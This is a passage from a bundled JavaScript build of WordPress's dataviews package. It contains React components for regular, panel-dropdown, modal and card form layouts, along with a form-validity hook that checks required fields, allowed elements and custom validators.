47040 layout: fieldLayout
47041 };
47042 });
47043}
47044
47045
47046;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/regular/index.js
47047
47048
47049
47050
47051
47052
47053
47054
47055function regular_Header({ title }) {
47056 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts-regular__header", spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "center", children: [
47057 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 2, size: 13, children: title }),
47058 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {})
47059 ] }) });
47060}
47061function FormRegularField({
47062 data,
47063 field,
47064 onChange,
47065 hideLabelFromVision,
47066 validity
47067}) {
47068 const { fields } = (0,external_wp_element_.useContext)(dataform_context_default);
47069 const form = (0,external_wp_element_.useMemo)(
47070 () => ({
47071 layout: DEFAULT_LAYOUT,
47072 fields: isCombinedField(field) ? field.children : []
47073 }),
47074 [field]
47075 );
47076 if (isCombinedField(field)) {
47077 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47078 !hideLabelFromVision && field.label && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(regular_Header, { title: field.label }),
47079 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47080 DataFormLayout,
47081 {
47082 data,
47083 form,
47084 onChange,
47085 validity: validity?.children
47086 }
47087 )
47088 ] });
47089 }
47090 const layout = normalizeLayout({
47091 ...field.layout,
47092 type: "regular"
47093 });
47094 const labelPosition = layout.labelPosition;
47095 const fieldDefinition = fields.find(
47096 (fieldDef) => fieldDef.id === field.id
47097 );
47098 if (!fieldDefinition || !fieldDefinition.Edit) {
47099 return null;
47100 }
47101 if (labelPosition === "side") {
47102 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "dataforms-layouts-regular__field", children: [
47103 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47104 "div",
47105 {
47106 className: dist_clsx(
47107 "dataforms-layouts-regular__field-label",
47108 `dataforms-layouts-regular__field-label--label-position-${labelPosition}`
47109 ),
47110 children: fieldDefinition.label
47111 }
47112 ),
47113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-regular__field-control", children: fieldDefinition.readOnly === true ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47114 fieldDefinition.render,
47115 {
47116 item: data,
47117 field: fieldDefinition
47118 }
47119 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47120 fieldDefinition.Edit,
47121 {
47122 data,
47123 field: fieldDefinition,
47124 onChange,
47125 hideLabelFromVision: true,
47126 validity
47127 },
47128 fieldDefinition.id
47129 ) })
47130 ] });
47131 }
47132 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-regular__field", children: fieldDefinition.readOnly === true ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47133 !hideLabelFromVision && labelPosition !== "none" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { children: fieldDefinition.label }),
47134 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47135 fieldDefinition.render,
47136 {
47137 item: data,
47138 field: fieldDefinition
47139 }
47140 )
47141 ] }) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47142 fieldDefinition.Edit,
47143 {
47144 data,
47145 field: fieldDefinition,
47146 onChange,
47147 hideLabelFromVision: labelPosition === "none" ? true : hideLabelFromVision,
47148 validity
47149 }
47150 ) });
47151}
47152
47153
47154;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/panel/summary-button.js
47155
47156
47157
47158function SummaryButton({
47159 summaryFields,
47160 data,
47161 labelPosition,
47162 fieldLabel,
47163 disabled,
47164 onClick,
47165 "aria-expanded": ariaExpanded
47166}) {
47167 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47168 external_wp_components_namespaceObject.Button,
47169 {
47170 className: "dataforms-layouts-panel__summary-button",
47171 size: "compact",
47172 variant: ["none", "top"].includes(labelPosition) ? "link" : "tertiary",
47173 "aria-expanded": ariaExpanded,
47174 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
47175 // translators: %s: Field name.
47176 (0,external_wp_i18n_namespaceObject._x)("Edit %s", "field"),
47177 fieldLabel || ""
47178 ),
47179 onClick,
47180 disabled,
47181 accessibleWhenDisabled: true,
47182 style: summaryFields.length > 1 ? {
47183 minHeight: "auto",
47184 height: "auto",
47185 alignItems: "flex-start"
47186 } : void 0,
47187 children: summaryFields.length > 1 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47188 "div",
47189 {
47190 style: {
47191 display: "flex",
47192 flexDirection: "column",
47193 alignItems: "flex-start",
47194 width: "100%",
47195 gap: "2px"
47196 },
47197 children: summaryFields.map((summaryField) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47198 "div",
47199 {
47200 style: { width: "100%" },
47201 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47202 summaryField.render,
47203 {
47204 item: data,
47205 field: summaryField
47206 }
47207 )
47208 },
47209 summaryField.id
47210 ))
47211 }
47212 ) : summaryFields.map((summaryField) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47213 summaryField.render,
47214 {
47215 item: data,
47216 field: summaryField
47217 },
47218 summaryField.id
47219 ))
47220 }
47221 );
47222}
47223var summary_button_default = SummaryButton;
47224
47225
47226;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/panel/dropdown.js
47227
47228
47229
47230
47231
47232
47233
47234
47235
47236function DropdownHeader({
47237 title,
47238 onClose
47239}) {
47240 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47241 external_wp_components_namespaceObject.__experimentalVStack,
47242 {
47243 className: "dataforms-layouts-panel__dropdown-header",
47244 spacing: 4,
47245 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "center", children: [
47246 title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 2, size: 13, children: title }),
47247 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}),
47248 onClose && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47249 external_wp_components_namespaceObject.Button,
47250 {
47251 label: (0,external_wp_i18n_namespaceObject.__)("Close"),
47252 icon: close_small_default,
47253 onClick: onClose,
47254 size: "small"
47255 }
47256 )
47257 ] })
47258 }
47259 );
47260}
47261function PanelDropdown({
47262 data,
47263 field,
47264 onChange,
47265 validity,
47266 labelPosition = "side",
47267 summaryFields,
47268 fieldDefinition,
47269 popoverAnchor
47270}) {
47271 const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
47272 const form = (0,external_wp_element_.useMemo)(
47273 () => ({
47274 layout: DEFAULT_LAYOUT,
47275 fields: isCombinedField(field) ? field.children : (
47276 // If not explicit children return the field id itself.
47277 [{ id: field.id }]
47278 )
47279 }),
47280 [field]
47281 );
47282 const formValidity = (0,external_wp_element_.useMemo)(() => {
47283 if (validity === void 0) {
47284 return void 0;
47285 }
47286 if (isCombinedField(field)) {
47287 return validity?.children;
47288 }
47289 return { [field.id]: validity };
47290 }, [validity, field]);
47291 const popoverProps = (0,external_wp_element_.useMemo)(
47292 () => ({
47293 // Anchor the popover to the middle of the entire row so that it doesn't
47294 // move around when the label changes.
47295 anchor: popoverAnchor,
47296 placement: "left-start",
47297 offset: 36,
47298 shift: true
47299 }),
47300 [popoverAnchor]
47301 );
47302 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47303 external_wp_components_namespaceObject.Dropdown,
47304 {
47305 contentClassName: "dataforms-layouts-panel__field-dropdown",
47306 popoverProps,
47307 focusOnMount: true,
47308 toggleProps: {
47309 size: "compact",
47310 variant: "tertiary",
47311 tooltipPosition: "middle left"
47312 },
47313 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47314 summary_button_default,
47315 {
47316 summaryFields,
47317 data,
47318 labelPosition,
47319 fieldLabel,
47320 disabled: fieldDefinition.readOnly === true,
47321 onClick: onToggle,
47322 "aria-expanded": isOpen
47323 }
47324 ),
47325 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47326 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DropdownHeader, { title: fieldLabel, onClose }),
47327 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47328 DataFormLayout,
47329 {
47330 data,
47331 form,
47332 onChange,
47333 validity: formValidity,
47334 children: (FieldLayout, childField, childFieldValidity) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47335 FieldLayout,
47336 {
47337 data,
47338 field: childField,
47339 onChange,
47340 hideLabelFromVision: (form?.fields ?? []).length < 2,
47341 validity: childFieldValidity
47342 },
47343 childField.id
47344 )
47345 }
47346 )
47347 ] })
47348 }
47349 );
47350}
47351var dropdown_default = PanelDropdown;
47352
47353
47354// EXTERNAL MODULE: ./node_modules/deepmerge/dist/cjs.js
47355var cjs = __webpack_require__(66);
47356var cjs_default = /*#__PURE__*/__webpack_require__.n(cjs);
47357;// ./node_modules/@wordpress/dataviews/build-module/hooks/use-form-validity.js
47358
47359
47360
47361
47362
47363const isEmptyNullOrUndefined = (value) => [void 0, "", null].includes(value);
47364const isArrayOrElementsEmptyNullOrUndefined = (value) => {
47365 return !Array.isArray(value) || value.length === 0 || value.every((element) => isEmptyNullOrUndefined(element));
47366};
47367function isInvalidForRequired(fieldType, value) {
47368 if (fieldType === void 0 && isEmptyNullOrUndefined(value) || fieldType === "text" && isEmptyNullOrUndefined(value) || fieldType === "email" && isEmptyNullOrUndefined(value) || fieldType === "url" && isEmptyNullOrUndefined(value) || fieldType === "telephone" && isEmptyNullOrUndefined(value) || fieldType === "password" && isEmptyNullOrUndefined(value) || fieldType === "integer" && isEmptyNullOrUndefined(value) || fieldType === "number" && isEmptyNullOrUndefined(value) || fieldType === "array" && isArrayOrElementsEmptyNullOrUndefined(value) || fieldType === "boolean" && value !== true) {
47369 return true;
47370 }
47371 return false;
47372}
47373function isFormValid(formValidity) {
47374 if (!formValidity) {
47375 return true;
47376 }
47377 return Object.values(formValidity).every((fieldValidation) => {
47378 return Object.entries(fieldValidation).every(
47379 ([key, validation]) => {
47380 if (key === "children" && validation && typeof validation === "object") {
47381 return isFormValid(validation);
47382 }
47383 return validation.type === "valid";
47384 }
47385 );
47386 });
47387}
47388function updateFieldValidity(setFormValidity, parentFieldId, fieldId, newValidity) {
47389 if (parentFieldId) {
47390 setFormValidity((prev) => ({
47391 ...prev,
47392 [parentFieldId]: {
47393 ...prev?.[parentFieldId],
47394 children: {
47395 ...prev?.[parentFieldId]?.children,
47396 [fieldId]: {
47397 ...newValidity
47398 }
47399 }
47400 }
47401 }));
47402 } else {
47403 setFormValidity((prev) => ({
47404 ...prev,
47405 [fieldId]: {
47406 ...newValidity
47407 }
47408 }));
47409 }
47410}
47411function getFieldsToValidate(fields, form) {
47412 const formFields = normalizeFormFields(form);
47413 if (formFields.length === 0) {
47414 return { fields: [], fieldToParent: /* @__PURE__ */ new Map() };
47415 }
47416 const fieldToParent = /* @__PURE__ */ new Map();
47417 const fieldIdsToValidate = [];
47418 formFields.forEach((formField) => {
47419 if (!!formField.children) {
47420 formField.children.forEach((child) => {
47421 const childId = typeof child === "string" ? child : child.id;
47422 fieldIdsToValidate.push(childId);
47423 fieldToParent.set(childId, formField.id);
47424 });
47425 } else {
47426 fieldIdsToValidate.push(formField.id);
47427 }
47428 });
47429 return {
47430 fields: normalizeFields(
47431 fields.filter(
47432 (field) => fieldIdsToValidate.includes(field.id)
47433 )
47434 ),
47435 fieldToParent
47436 };
47437}
47438function useFormValidity(item, fields, form) {
47439 const [formValidity, setFormValidity] = (0,external_wp_element_.useState)();
47440 const previousValidatedValuesRef = (0,external_wp_element_.useRef)({});
47441 const customValidationCounterRef = (0,external_wp_element_.useRef)({});
47442 const elementsValidationCounterRef = (0,external_wp_element_.useRef)(
47443 {}
47444 );
47445 const validate = (0,external_wp_element_.useCallback)(() => {
47446 const { fields: fieldsToValidate, fieldToParent } = getFieldsToValidate(
47447 fields,
47448 form
47449 );
47450 if (fieldsToValidate.length === 0) {
47451 setFormValidity(void 0);
47452 return;
47453 }
47454 fieldsToValidate.forEach((field) => {
47455 const value = field.getValue({ item });
47456 if (previousValidatedValuesRef.current.hasOwnProperty(field.id) && value === previousValidatedValuesRef.current[field.id]) {
47457 return;
47458 }
47459 previousValidatedValuesRef.current[field.id] = value;
47460 const parentFieldId = fieldToParent.get(field.id);
47461 if (field.isValid.required && isInvalidForRequired(field.type, value)) {
47462 updateFieldValidity(setFormValidity, parentFieldId, field.id, {
47463 required: { type: "invalid" }
47464 });
47465 return;
47466 }
47467 if (field.isValid.elements && field.hasElements && !field.getElements && Array.isArray(field.elements)) {
47468 const validValues = field.elements.map((el) => el.value);
47469 if (field.type !== "array" && !validValues.includes(value)) {
47470 updateFieldValidity(
47471 setFormValidity,
47472 parentFieldId,
47473 field.id,
47474 {
47475 elements: {
47476 type: "invalid",
47477 message: "Value must be one of the elements."
47478 }
47479 }
47480 );
47481 return;
47482 }
47483 if (field.type === "array" && !Array.isArray(value)) {
47484 updateFieldValidity(
47485 setFormValidity,
47486 parentFieldId,
47487 field.id,
47488 {
47489 elements: {
47490 type: "invalid",
47491 message: "Value must be an array."
47492 }
47493 }
47494 );
47495 return;
47496 }
47497 if (field.type === "array" && value.some((v) => !validValues.includes(v))) {
47498 updateFieldValidity(
47499 setFormValidity,
47500 parentFieldId,
47501 field.id,
47502 {
47503 elements: {
47504 type: "invalid",
47505 message: "Value must be one of the elements."
47506 }
47507 }
47508 );
47509 return;
47510 }
47511 }
47512 if (field.isValid.elements && field.hasElements && typeof field.getElements === "function") {
47513 const currentToken = (elementsValidationCounterRef.current[field.id] || 0) + 1;
47514 elementsValidationCounterRef.current[field.id] = currentToken;
47515 updateFieldValidity(setFormValidity, parentFieldId, field.id, {
47516 elements: {
47517 type: "validating",
47518 message: "Validating..."
47519 }
47520 });
47521 field.getElements().then((result) => {
47522 if (elementsValidationCounterRef.current[field.id] !== currentToken) {
47523 return;
47524 }
47525 if (!Array.isArray(result)) {
47526 updateFieldValidity(
47527 setFormValidity,
47528 parentFieldId,
47529 field.id,
47530 {
47531 elements: {
47532 type: "invalid",
47533 message: "Could not validate elements."
47534 }
47535 }
47536 );
47537 return;
47538 }
47539 const validValues = result.map((el) => el.value);
47540 if (field.type !== "array" && !validValues.includes(value)) {
47541 updateFieldValidity(
47542 setFormValidity,
47543 parentFieldId,
47544 field.id,
47545 {
47546 elements: {
47547 type: "invalid",
47548 message: "Value must be one of the elements."
47549 }
47550 }
47551 );
47552 return;
47553 }
47554 if (field.type === "array" && !Array.isArray(value)) {
47555 updateFieldValidity(
47556 setFormValidity,
47557 parentFieldId,
47558 field.id,
47559 {
47560 elements: {
47561 type: "invalid",
47562 message: "Value must be an array."
47563 }
47564 }
47565 );
47566 return;
47567 }
47568 if (field.type === "array" && value.some(
47569 (v) => !validValues.includes(v)
47570 )) {
47571 updateFieldValidity(
47572 setFormValidity,
47573 parentFieldId,
47574 field.id,
47575 {
47576 elements: {
47577 type: "invalid",
47578 message: "Value must be one of the elements."
47579 }
47580 }
47581 );
47582 }
47583 }).catch((error) => {
47584 if (elementsValidationCounterRef.current[field.id] !== currentToken) {
47585 return;
47586 }
47587 updateFieldValidity(
47588 setFormValidity,
47589 parentFieldId,
47590 field.id,
47591 {
47592 elements: {
47593 type: "invalid",
47594 message: error.message
47595 }
47596 }
47597 );
47598 });
47599 }
47600 let customError;
47601 try {
47602 customError = field.isValid?.custom?.(
47603 cjs_default()(
47604 item,
47605 field.setValue({
47606 item,
47607 value
47608 })
47609 ),
47610 field
47611 );
47612 } catch (error) {
47613 let errorMessage;
47614 if (error instanceof Error) {
47615 errorMessage = error.message;
47616 } else {
47617 errorMessage = String(error) || (0,external_wp_i18n_namespaceObject.__)("Unknown error when running custom validation.");
47618 }
47619 updateFieldValidity(setFormValidity, parentFieldId, field.id, {
47620 custom: {
47621 type: "invalid",
47622 message: errorMessage
47623 }
47624 });
47625 }
47626 if (typeof customError === "string") {
47627 updateFieldValidity(setFormValidity, parentFieldId, field.id, {
47628 custom: {
47629 type: "invalid",
47630 message: customError
47631 }
47632 });
47633 return;
47634 }
47635 if (customError instanceof Promise) {
47636 const currentToken = (customValidationCounterRef.current[field.id] || 0) + 1;
47637 customValidationCounterRef.current[field.id] = currentToken;
47638 updateFieldValidity(setFormValidity, parentFieldId, field.id, {
47639 custom: {
47640 type: "validating",
47641 message: "Validating..."
47642 }
47643 });
47644 customError.then((result) => {
47645 if (customValidationCounterRef.current[field.id] !== currentToken) {
47646 return;
47647 }
47648 if (result === null) {
47649 updateFieldValidity(
47650 setFormValidity,
47651 parentFieldId,
47652 field.id,
47653 {
47654 custom: {
47655 type: "valid",
47656 message: "Valid"
47657 }
47658 }
47659 );
47660 return;
47661 }
47662 if (typeof result === "string") {
47663 updateFieldValidity(
47664 setFormValidity,
47665 parentFieldId,
47666 field.id,
47667 {
47668 custom: {
47669 type: "invalid",
47670 message: result
47671 }
47672 }
47673 );
47674 }
47675 }).catch((error) => {
47676 if (customValidationCounterRef.current[field.id] !== currentToken) {
47677 return;
47678 }
47679 updateFieldValidity(
47680 setFormValidity,
47681 parentFieldId,
47682 field.id,
47683 {
47684 custom: {
47685 type: "invalid",
47686 message: error.message
47687 }
47688 }
47689 );
47690 });
47691 return;
47692 }
47693 setFormValidity((prev) => {
47694 if (!prev) {
47695 return prev;
47696 }
47697 if (parentFieldId) {
47698 const parentField = prev[parentFieldId];
47699 if (!parentField?.children) {
47700 return prev;
47701 }
47702 const { [field.id]: removed2, ...restChildren } = parentField.children;
47703 if (Object.keys(restChildren).length === 0) {
47704 const { children, ...restParent } = parentField;
47705 if (Object.keys(restParent).length === 0) {
47706 const {
47707 [parentFieldId]: removedParent,
47708 ...restFields
47709 } = prev;
47710 return Object.keys(restFields).length === 0 ? void 0 : restFields;
47711 }
47712 return {
47713 ...prev,
47714 [parentFieldId]: restParent
47715 };
47716 }
47717 return {
47718 ...prev,
47719 [parentFieldId]: {
47720 ...parentField,
47721 children: restChildren
47722 }
47723 };
47724 }
47725 if (!prev[field.id]) {
47726 return prev;
47727 }
47728 const { [field.id]: removed, ...rest } = prev;
47729 if (Object.keys(rest).length === 0) {
47730 return void 0;
47731 }
47732 return rest;
47733 });
47734 });
47735 }, [item, fields, form]);
47736 (0,external_wp_element_.useEffect)(() => {
47737 validate();
47738 }, [validate]);
47739 return {
47740 validity: formValidity,
47741 isValid: isFormValid(formValidity)
47742 };
47743}
47744var use_form_validity_default = useFormValidity;
47745
47746
47747;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/panel/modal.js
47748
47749
47750
47751
47752
47753
47754
47755
47756
47757
47758
47759function ModalContent({
47760 data,
47761 field,
47762 onChange,
47763 fieldLabel,
47764 onClose
47765}) {
47766 const { fields } = (0,external_wp_element_.useContext)(dataform_context_default);
47767 const [changes, setChanges] = (0,external_wp_element_.useState)({});
47768 const modalData = (0,external_wp_element_.useMemo)(() => {
47769 return cjs_default()(data, changes);
47770 }, [data, changes]);
47771 const form = (0,external_wp_element_.useMemo)(
47772 () => ({
47773 layout: DEFAULT_LAYOUT,
47774 fields: isCombinedField(field) ? field.children : (
47775 // If not explicit children return the field id itself.
47776 [{ id: field.id }]
47777 )
47778 }),
47779 [field]
47780 );
47781 const { validity } = use_form_validity_default(
47782 modalData,
47783 fields,
47784 form
47785 );
47786 const onApply = () => {
47787 onChange(changes);
47788 onClose();
47789 };
47790 const handleOnChange = (newValue) => {
47791 setChanges((prev) => cjs_default()(prev, newValue));
47792 };
47793 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
47794 external_wp_components_namespaceObject.Modal,
47795 {
47796 className: "dataforms-layouts-panel__modal",
47797 onRequestClose: onClose,
47798 isFullScreen: false,
47799 title: fieldLabel,
47800 size: "medium",
47801 children: [
47802 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47803 DataFormLayout,
47804 {
47805 data: modalData,
47806 form,
47807 onChange: handleOnChange,
47808 validity,
47809 children: (FieldLayout, childField, childFieldValidity) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47810 FieldLayout,
47811 {
47812 data: modalData,
47813 field: childField,
47814 onChange: handleOnChange,
47815 hideLabelFromVision: (form?.fields ?? []).length < 2,
47816 validity: childFieldValidity
47817 },
47818 childField.id
47819 )
47820 }
47821 ),
47822 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
47823 external_wp_components_namespaceObject.__experimentalHStack,
47824 {
47825 className: "dataforms-layouts-panel__modal-footer",
47826 spacing: 3,
47827 children: [
47828 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {}),
47829 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47830 external_wp_components_namespaceObject.Button,
47831 {
47832 variant: "tertiary",
47833 onClick: onClose,
47834 __next40pxDefaultSize: true,
47835 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
47836 }
47837 ),
47838 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47839 external_wp_components_namespaceObject.Button,
47840 {
47841 variant: "primary",
47842 onClick: onApply,
47843 __next40pxDefaultSize: true,
47844 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
47845 }
47846 )
47847 ]
47848 }
47849 )
47850 ]
47851 }
47852 );
47853}
47854function PanelModal({
47855 data,
47856 field,
47857 onChange,
47858 labelPosition,
47859 summaryFields,
47860 fieldDefinition
47861}) {
47862 const [isOpen, setIsOpen] = (0,external_wp_element_.useState)(false);
47863 const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
47864 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
47865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47866 summary_button_default,
47867 {
47868 summaryFields,
47869 data,
47870 labelPosition,
47871 fieldLabel,
47872 disabled: fieldDefinition.readOnly === true,
47873 onClick: () => setIsOpen(true),
47874 "aria-expanded": isOpen
47875 }
47876 ),
47877 isOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47878 ModalContent,
47879 {
47880 data,
47881 field,
47882 onChange,
47883 fieldLabel: fieldLabel ?? "",
47884 onClose: () => setIsOpen(false)
47885 }
47886 )
47887 ] });
47888}
47889var modal_default = PanelModal;
47890
47891
47892;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/get-summary-fields.js
47893function extractSummaryIds(summary) {
47894 if (Array.isArray(summary)) {
47895 return summary.map(
47896 (item) => typeof item === "string" ? item : item.id
47897 );
47898 }
47899 return [];
47900}
47901const getSummaryFields = (summaryField, fields) => {
47902 if (Array.isArray(summaryField) && summaryField.length > 0) {
47903 const summaryIds = extractSummaryIds(summaryField);
47904 return summaryIds.map(
47905 (summaryId) => fields.find((_field) => _field.id === summaryId)
47906 ).filter((_field) => _field !== void 0);
47907 }
47908 return [];
47909};
47910
47911
47912;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/panel/index.js
47913
47914
47915
47916
47917
47918
47919
47920
47921
47922
47923const getFieldDefinition = (field, fields) => {
47924 const fieldDefinition = fields.find((_field) => _field.id === field.id);
47925 if (!fieldDefinition) {
47926 return fields.find((_field) => {
47927 if (isCombinedField(field)) {
47928 const simpleChildren = field.children.filter(
47929 (child) => typeof child === "string" || !isCombinedField(child)
47930 );
47931 if (simpleChildren.length === 0) {
47932 return false;
47933 }
47934 const firstChildFieldId = typeof simpleChildren[0] === "string" ? simpleChildren[0] : simpleChildren[0].id;
47935 return _field.id === firstChildFieldId;
47936 }
47937 return _field.id === field.id;
47938 });
47939 }
47940 return fieldDefinition;
47941};
47942const getFieldDefinitionAndSummaryFields = (layout, field, fields) => {
47943 const summaryFields = getSummaryFields(layout.summary, fields);
47944 const fieldDefinition = getFieldDefinition(field, fields);
47945 if (summaryFields.length === 0) {
47946 return {
47947 summaryFields: fieldDefinition ? [fieldDefinition] : [],
47948 fieldDefinition
47949 };
47950 }
47951 return {
47952 summaryFields,
47953 fieldDefinition
47954 };
47955};
47956function FormPanelField({
47957 data,
47958 field,
47959 onChange,
47960 validity
47961}) {
47962 const { fields } = (0,external_wp_element_.useContext)(dataform_context_default);
47963 const layout = normalizeLayout({
47964 ...field.layout,
47965 type: "panel"
47966 });
47967 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_.useState)(
47968 null
47969 );
47970 const { fieldDefinition, summaryFields } = getFieldDefinitionAndSummaryFields(layout, field, fields);
47971 if (!fieldDefinition) {
47972 return null;
47973 }
47974 const labelPosition = layout.labelPosition;
47975 const labelClassName = dist_clsx(
47976 "dataforms-layouts-panel__field-label",
47977 `dataforms-layouts-panel__field-label--label-position-${labelPosition}`
47978 );
47979 const fieldLabel = isCombinedField(field) ? field.label : fieldDefinition?.label;
47980 const renderedControl = layout.openAs === "modal" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47981 modal_default,
47982 {
47983 data,
47984 field,
47985 onChange,
47986 labelPosition,
47987 summaryFields,
47988 fieldDefinition
47989 }
47990 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
47991 dropdown_default,
47992 {
47993 data,
47994 field,
47995 onChange,
47996 validity,
47997 labelPosition,
47998 summaryFields,
47999 fieldDefinition,
48000 popoverAnchor
48001 }
48002 );
48003 if (labelPosition === "top") {
48004 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts-panel__field", spacing: 0, children: [
48005 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48006 "div",
48007 {
48008 className: labelClassName,
48009 style: { paddingBottom: 0 },
48010 children: fieldLabel
48011 }
48012 ),
48013 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-panel__field-control", children: renderedControl })
48014 ] });
48015 }
48016 if (labelPosition === "none") {
48017 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-panel__field", children: renderedControl });
48018 }
48019 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
48020 external_wp_components_namespaceObject.__experimentalHStack,
48021 {
48022 ref: setPopoverAnchor,
48023 className: "dataforms-layouts-panel__field",
48024 children: [
48025 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: labelClassName, children: fieldLabel }),
48026 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-panel__field-control", children: renderedControl })
48027 ]
48028 }
48029 );
48030}
48031
48032
48033;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/card/index.js
48034
48035
48036
48037
48038
48039
48040
48041
48042
48043
48044function useCollapsibleCard(initialIsOpen = true) {
48045 const [isOpen, setIsOpen] = (0,external_wp_element_.useState)(initialIsOpen);
48046 const toggle = (0,external_wp_element_.useCallback)(() => {
48047 setIsOpen((prev) => !prev);
48048 }, []);
48049 const CollapsibleCardHeader = (0,external_wp_element_.useCallback)(
48050 ({
48051 children,
48052 ...props
48053 }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
48054 external_wp_components_namespaceObject.CardHeader,
48055 {
48056 ...props,
48057 onClick: toggle,
48058 style: {
48059 cursor: "pointer",
48060 ...props.style
48061 },
48062 children: [
48063 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48064 "div",
48065 {
48066 style: {
48067 width: "100%",
48068 display: "flex",
48069 justifyContent: "space-between",
48070 alignItems: "center"
48071 },
48072 children
48073 }
48074 ),
48075 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48076 external_wp_components_namespaceObject.Button,
48077 {
48078 __next40pxDefaultSize: true,
48079 variant: "tertiary",
